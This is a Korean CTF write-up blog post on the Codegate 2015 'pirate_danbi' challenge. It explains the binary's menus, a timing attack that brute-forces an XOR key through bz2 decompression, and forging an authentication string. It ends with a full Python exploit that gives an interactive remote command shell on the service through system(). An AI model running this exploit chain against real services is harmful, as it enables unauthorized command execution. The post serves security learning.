Be myself :: [codegate2015]pirate_danbi

달력

32024  이전 다음

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

[codegate2015]pirate_danbi

Wargame 2015. 5. 12. 15:24

일단 처음 입력 값은 [menu select 1byte][input size 2byte]로 받아서 처리한다. 메뉴들을 살펴보면 단순하다. 1번 메뉴에선 인풋에 대한 인증처리를 하고 2번 메뉴에선

선 인풋값에 대한 bz2파일을 하나 만든다. 3번 메뉴에선 1번메뉴에서 정상적인 인풋값을 가지면 flag역할을 하는 변수(0x6030f0)가 on되는데, 그렇다면 bz2압축을 풀고 그 결과 값에 대한 파일을 하나 만든다. 4번메뉴도 정확한 input값이 들어 왔는지 strcmp함수로 비교하고 정상적인 인풋이라면 flag역할을 하는 변수(0x6030ec)를 on한다. 메뉴 5번은 system함수로 bz2압축이 풀린 파일을 실행한다. 이 때 4번에서 on된 flag변수(0x6030ec)를 확인하여 1의 값을 가져야 system함수가 호출된다.

그래서 관건은 1번메뉴를 잘 리버싱해서 정상적인 input을 가지도록 한다면 원하는 명령을 수행할 수 있을 것이다. 1번메뉴를 보면 다음과 같다.

input size가 8의 배수인지 아닌지 체크하고 인풋 값이 정상적인지 아닌지 key_input_calc에서 체크한다. 저 부분을 리버싱하면 된다.

여기에서 보면 cmp_string부분은 나중에 strcmp함수 인증통과를 위한 부분인데, 이 부분을 이용하려면 key값이 필요할것 이다. 위에서  xor_result값이 key값이랑 xor 된 값이라는 것을 알 수 있고 이 부분을 brute force하면 key값을 알 수 있을 것 같다.(xor_result[7]=1이 될 경우 bz_flag가 1이되고 따라서 bz2압축해제가 가능하게 된다. bz2 압축을 많은 데이터로 압축하고, 해제를 2000번정도 해 주면 압축해제가 되는지 안되는지 알 수 있다(timing attack) 따라서 key^input = 1 이므로 key값의 1바이트를 구할 수 있게 되고 다른 key값도 마찬가지 방식으로 구해 올 수 있다.)

이런 방식으로 key값을 얻어오고 cmp_string값을 YO_DANBI_CREW_IN_THE_HOUSE. 로 조작하면 기본 조건이 완성되고, 우리가 원하는 명령어를 실행 시킬 수 있다.



#!/usr/bin/python
from socket import *
from telnetlib import *
import time
import struct
import bz2

leng = lambda x: struct.pack(">h",x)
menu = lambda x: struct.pack("q",x)

def read_zip(s):
    pay = menu(0x3)+leng(0x10)
    pay += "A"*0x10
    s.send(pay)
    #return pay

def write_zip(s):
    f = open("bztest.bz2")
    buf = f.read()

    pay = menu(0x2)+leng(len(buf))
    pay += buf
    s.send(pay)
    f.close()
    #return pay

def banner(s):
    pay = menu(0x6)+leng(0x2800)
    pay += "A"*0x2800
   
    s.send(pay)

    s.shutdown(SHUT_WR)
    print s.recv(1000)
    s.close()


def connect_brute_key(last):
    s = socket()
    s.connect(('localhost',31339))

    write_zip(s)
    pay = menu(0x1)+leng(0x10)
    pay += "A"*(0x10-len(last))+last
    
    #return pay
    s.send(pay)
    for i in range(3000):
        read_zip(s)
    banner(s) 


def get_key():
    key = []
    b_key = "A"*8
    count = 0

    for j in range(7,-1,-1):
        count += 1
        for i in range(0x100):
            t1 = time.time()
            pay = b_key[:j]+chr(i)+b_key[j+1:]
            connect_brute_key(pay)
            print "[*]attack "+pay.encode('hex')
            t2 = time.time()
            result = t2-t1
            print "*"+hex(j)+"[* "+hex(i) +" time] " +str(result)
            if result > 0.2:
                print "[*]found"
                if(len(key)==0):
                    key.append(i^1)
                    b_key = b_key[:8-1]+chr(key[0]^(count+1))
                    break
                else:
                    key.insert(0,i^count)
                    b_key = b_key[:8-count]
                    for t in range(count):
                        print "[*]insert %x" %(key[t]^(count+1))
                        b_key += chr(key[t]^(count+1))
                    break
            time.sleep(0.1)

    key = ''.join([chr(i) for i in key])
    b_key = ''.join([chr(i) for i in b_key])
    return key.encode('hex'),b_key.encode('hex')
    

def auth(s):
    last = "e32a4a8777f7f102".decode('hex')
    pay = menu(0x1)+leng(0x0a)
    pay += "A"*(0x10-len(last))+last
    
    s.send(pay)


key , attack = get_key()
auth_s = "YO_DANBI_CREW_IN_THE_HOUSE."
if(len(auth_s)%8 !=0):
    auth_s += "\x00"*(8-len(auth_s)%8)

padding = []
input_s = []
for i in range(0,(len(auth_s)/8)):  #divde padding 8 byte
    padding.append(auth_s[8*i:(8*i+8)])


input_s.append(attack)
for i in range((len(padding))-1,-1,-1):
    buf = ""
    for j in range(0,8):
	buf += chr((ord(padding[i][j])-ord(key[j])&0xff)^ord(input_s[0][j]))

    input_s.insert(0,buf)


input_s.pop()
input_s.append(attack)

#print padding
#print input_s
auth_key = ''.join(input_s)

s = socket()
s.connect(('localhost',31339))

#stage 1: pass calc
pay = menu(0x1)+leng(len(auth_key))
pay += auth_key

#stage 2: pass strcmp
pay += menu(0x4)+leng(0x10)
pay += "A"*0x10
s.send(pay)



while(True):    #cmd = raw_input("$")
    cmd = raw_input("$")
    #stage 3: write payload to bz2
    cmd = bz2.compress(cmd)
    pay = menu(0x2)+leng(len(cmd))
    pay += cmd

    #stage 4: write payload to file
    pay += menu(0x3)+leng(0x10)
    pay += "A"*0x10

    #stage 5 : run sh
    pay += menu(0x5)+leng(0x10)
    pay += "A"*0x10

    time.sleep(0.2)
    s.send(pay)
    print s.recv(1000)


	

danbi2.py



'Wargame' 카테고리의 다른 글

[pwnable.kr]crypto1  (0) 2015.07.06
Codegate2015 bookstore  (0) 2015.07.01
[pwnable.kr]echo2  (0) 2015.04.28
[pwnable.kr]echo1  (0) 2015.02.20
[pwnable.kr]coin2  (0) 2015.01.07
Posted by flack3r
|